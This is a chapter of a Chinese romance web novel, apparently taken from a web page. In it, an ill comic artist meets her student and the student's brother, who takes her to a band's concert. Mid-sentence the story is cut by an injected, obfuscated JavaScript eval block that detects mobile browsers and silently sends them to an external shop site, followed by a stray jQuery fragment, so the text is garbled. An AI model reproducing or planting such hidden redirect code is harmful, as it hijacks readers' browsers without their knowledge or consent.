新漫画破圈是很意外的事情,毕竟没更几章,云嫣本身也不算大热作者,泼天的流量突然洒下来,她一时有些手足无措,只好去求助骆落:「怎么办?」
骆落倒是很乐观:「红了就红了,保持更新,加油。」
因为详细描写了主角的病情,有不少人猜测她要么是病患,要么是病患家属,不然很难对一些事了解得这么具体,更有人直接在评论区问,主角是作者本人吗?
出乎意料地,有个熟悉的id不厌其烦地回复了每一个这样问的人:不是。
是方斯年。
云嫣眼睫颤了颤,她找到方斯年的QQ,发送好友申请,只说了两个字:「谢谢。」
「没关系的云嫣姐。」方斯年发了个吐舌表情包,「放心,我肯定不会说出去的。」
其实方斯年说得没错,主角真的不是她。
顽强、开朗、乐观、凭借优异成绩考入名牌大学,拥有一份和普通人一样的工作,这些词语和她有关系吗?这些事和她有关系吗?
云嫣自嘲地笑了,笑容悲凉,他们都说女主好可怜好坚强,看她痛也觉得心里好痛,可只有真正的患者才会知道,那是怎样一种钝刀割肉又剔骨连筋的痛苦。
他们注定无法真正感同身受,就像蝴蝶注定是要飞走的,除非你折断它的翅膀。
但翅膀都断了的话,活着还有什么意义呢。
现在她几乎每天都会和方斯远见面,两人心照不宣地达成了默契。每天六点半,从方斯远来楼下等变成云嫣主动去小区门口迎接他下班。方斯远有时开车,有时坐地铁,开车的话会提前告诉云嫣,她会在水池长椅边等他过来,有几次还遇到了麦嘉欣和那只叫麦嘉豪的金毛。麦嘉欣悄悄问过她,你们有没有在一起呀?
云嫣当时被吓了一跳,磕磕巴巴地解释,我们只是好朋友。
麦嘉欣一脸看破不说破的表情,哦——
今天方斯远要加班,说要等下带她去个地方,出门前赵亦蓉看云嫣对着镜子整理头发,笑得意味深长,“女为悦己者容啊。”
云嫣轻轻按住自己的脸颊,有些羞恼,“妈妈,不要乱讲!”
真是的,怎么最近都在揶揄她!
方斯远还没到,云嫣忍不住跑去门口,踮起脚尖看着远方的车流,每一辆车都像爬虫一样在她心上碾。等人的时候时间总是过得很慢,她把长发挽到耳后,方斯远发消息给她,说是顺路买了奶茶。
云嫣盯着手机屏幕傻笑,一抬头看到自己正在想的脸……的复制粘贴版。
方斯年刚从便利店出来,手里举着咬了一口的脆皮冰激凌,嘴边还粘着巧克力碎屑,正呆呆地望着她。
云嫣想,自己还欠方斯年一个人情,是不是主动打招呼更好一点?
一个嗨字在嘴里酝酿了一圈,方斯年好似大梦初醒,赶在她前面开口,“云嫣姐!”
于是嗨又变成了嗯,云嫣看着方斯年雀跃地扑过来,又在她面前堪堪刹住,笑得一脸傻气,“你来接我哥下班呀?”
云嫣矢口否认,“没有的事!我就是……出来走走。”
方斯年热情地问她吃不吃雪糕,说着就要拉她去买,云嫣哪好意思让学生破费,她现在担心的是方斯远突然来了怎么办,奶茶只有一杯怎么办,想想都觉得尴尬。
看来以后出门前得看看黄历,防止水逆。
“云嫣姐。”
方斯年已经自行定下了对云嫣的称呼,她一口咬开中间的流心,含糊不清地说:“我也没想到偶像竟在我身边,不过你放心,我嘴很严的,我哥的机密我都没泄露出去呢,本来想让他撮合咱俩见一面,谁知道出来买根雪糕还能走狗屎运呢,绝了!”
云嫣很想问是什么机密,但感觉问出来不太好,结果方斯年冲她眨眨眼,“你想不想知道我哥有什么秘密?”
“……这样好吗?”
“不太好。”方斯年嘿嘿一笑,“所以我不告诉你。”
……
“说真的,云嫣姐。”方斯年三两口吃完雪糕,把木棍一丢,语气诚恳如专业红娘,“我哥这人还真挺不错的,货真价实185原装大帅哥,智商有学历认证,事业单位母胎单身,质量保证售后安心,很实惠对不对?”
听起来下一秒就要上链接大甩卖,云嫣忍笑,点了点头,“还可以吧。”
“还可以?就只是还可以?!”
方斯年一脸难以置信,仿佛方斯远是百年一遇的精品白菜,云嫣是个不识货的猪,菜喂到嘴边了也不愿意拱。
全然不觉得哥哥的秘密已经在她脸上裸奔了。
云嫣在思考母胎单身是真是假,方斯年则是沉浸在甩卖失败的悲伤中,全然未觉身后有辆车缓缓逼近,停在路边,正透过车窗看着她们。
方斯远纳闷地想,这两人怎么在这撞上了?
“喂。”
两人一齐回头,方斯远摇下车窗,“聊什么呢?”
“聊我溢于言表的崇拜。”方斯年往车里探了一眼,“你买啥了?”
“奶茶,你喝热的冰的?”
“冰的。”
方斯远拿了一杯给她,方斯年失望,“怎么是热的?”
“因为就没有冰的,这他妈是我的。”方斯远压低声音,“你不觉得今天的路灯特别亮吗?”
方斯年傻乎乎地看向路灯,“很亮吗?我不觉得啊?”
“因为没你亮。”
方斯年想把那杯奶茶泼他头上。
但她还是很识趣地撤了,临走前不忘对云嫣收回之前的话,“我说错了,这货有瑕,残次品,建议到手刀。”
刀字说得咬牙切齿,方斯远示意云嫣上车,把另一杯奶茶插好吸管,递给她。
“去哪里?”
“到了你就知道了。”方斯远问,“我妹没胡说八道什么吧?”
“没有,你妹还挺有意思的,哦对,她说你没谈过恋爱。”
晚上光线不好,方斯远趁红灯取出眼镜戴上,“这丫头怎么什么都说。”
云嫣抬了抬下颌,“真没谈过啊?”
“你不信?”
“简直难以置信。”
方斯远觉得好笑,“为什么?”
“我没吃过猪肉还没见过猪跑?好歹上了十多年学,哪个长得过得去的男生没偷偷早恋过啊?说没人追过你你自己信吗?”云嫣看着他,嘴巴无辜地一张一合,“再说你都大学毕业了,大好的青春不谈恋爱,是想等到三十岁变成魔法师吗?”
方斯远矜持地翘起嘴角,“可能是我眼光比较高吧。”
云嫣几乎是脱口而出,“那你喜欢什么类型的?”
方斯远稍作沉吟,“有内在美的。”
云嫣瞪了他一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677457|207545||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,说了等于白说。
等等,如果他喜欢我的话,意思是我有内在美吗?那我的外在就完全不美吗?
云嫣活到二十岁,头一次对自己有了容貌焦虑,她假装不在意地打开前置摄像头,额前的刘海被拨来拨去,脸侧贴了一个小小的敷贴,底下的伤口已经差不多愈合了。
总体而言,她应该还算漂亮吧,至少脸上没什么明显的疤痕。
方斯远把她的小动作尽收眼底,一路都在强忍笑意。前面的路况越来越拥挤,路边有贩卖发光发箍的商贩,方斯远拐了个弯,对保安亭出示了一个证件,直接开进停车场。
云嫣大致猜到他要干什么了,“谁的演唱会?”
方斯远挑眉,“你是不是假粉?”
什么意思?
见她迷茫,他只好把话说得更明白一点,“年年说你主页提到过几次这个乐队,想来看他们的演唱会,今天是他们国内巡演的尾场,我就带你来看。”
难怪这一路都在放他们的歌。
云嫣终于迟钝地感觉到兴奋,她迫不及待地跳下车,这个点已经错过了开场,方斯远莞尔,拉住她的衣摆,手机一下子从口袋滑出来,掉到云嫣脚边。
她捡起手机,屏幕亮了一下,方斯远随手接过揣进口袋,“小心一点啊。”
两人排队检票,场馆内人山人海,欢呼声不绝于耳,她有些担忧,“会不会很挤?”
她还是第一次看演唱会呢。
“不会,是包厢票。”
方斯远带她去了三层包厢,视野很好,座位也宽敞,上面摆放着两个荧光棒,台上的人正在进行开场talking。
她惴惴不安地问:“这票很贵吧?”
方斯远说,免费的。
“怎么会?”
“阿野二舅家的表姐的男朋友的前女友的舍友是他们乐队的经纪人。”方斯远举起荧光棒,“是赠票,放心看吧。”
云嫣还没来得及搞清这一连串顺藤摸瓜的关系,现场的尖叫声简直要震碎鼓膜,她很快就沉浸在这种激动的氛围里,跟着音乐挥舞荧光棒,轻声合唱着那些在耳机里听过的歌。
在无数个寂寥的黑夜里,JournalLichten的音乐是支撑她活下去的动力,主唱林晓声曾经罹患脑瘤,在等待开颅手术的前一夜,他完成了乐队的成名曲《Butterfly》。
钢琴声缓缓流淌,舞台上只剩一束追光,林晓声的侧脸出现在大屏上,用略带沙哑的嗓音娓娓叙述:
不敢渴求,儿时梦想中的宇宙
如果可以,谁会在夜里伸出双手
想要去飞,却不知生命何处是尽头
我看到,萤火飘渺如星斗
……
期待明天,睁开双眼我还能够看见
毋庸在意,明日的我是否破茧成蝶
用一生所爱换一瞬翩跹
飞蛾扑火,从不是我的终点
一曲终毕,云嫣怔怔地看着屏幕,泪水早已模糊了视线。
几乎是无意识地,她勾住了方斯远的小指。
冰凉的手指被一只温暖的手反握住,谁都没有看谁,在沸反盈天的喧闹里,方斯远牵住了她的手。
抒情曲换成了激昂的摇滚乐,乐队成员悉数上台,林晓声被簇拥在中间,高声唱着。
不要怕啊,不要怕。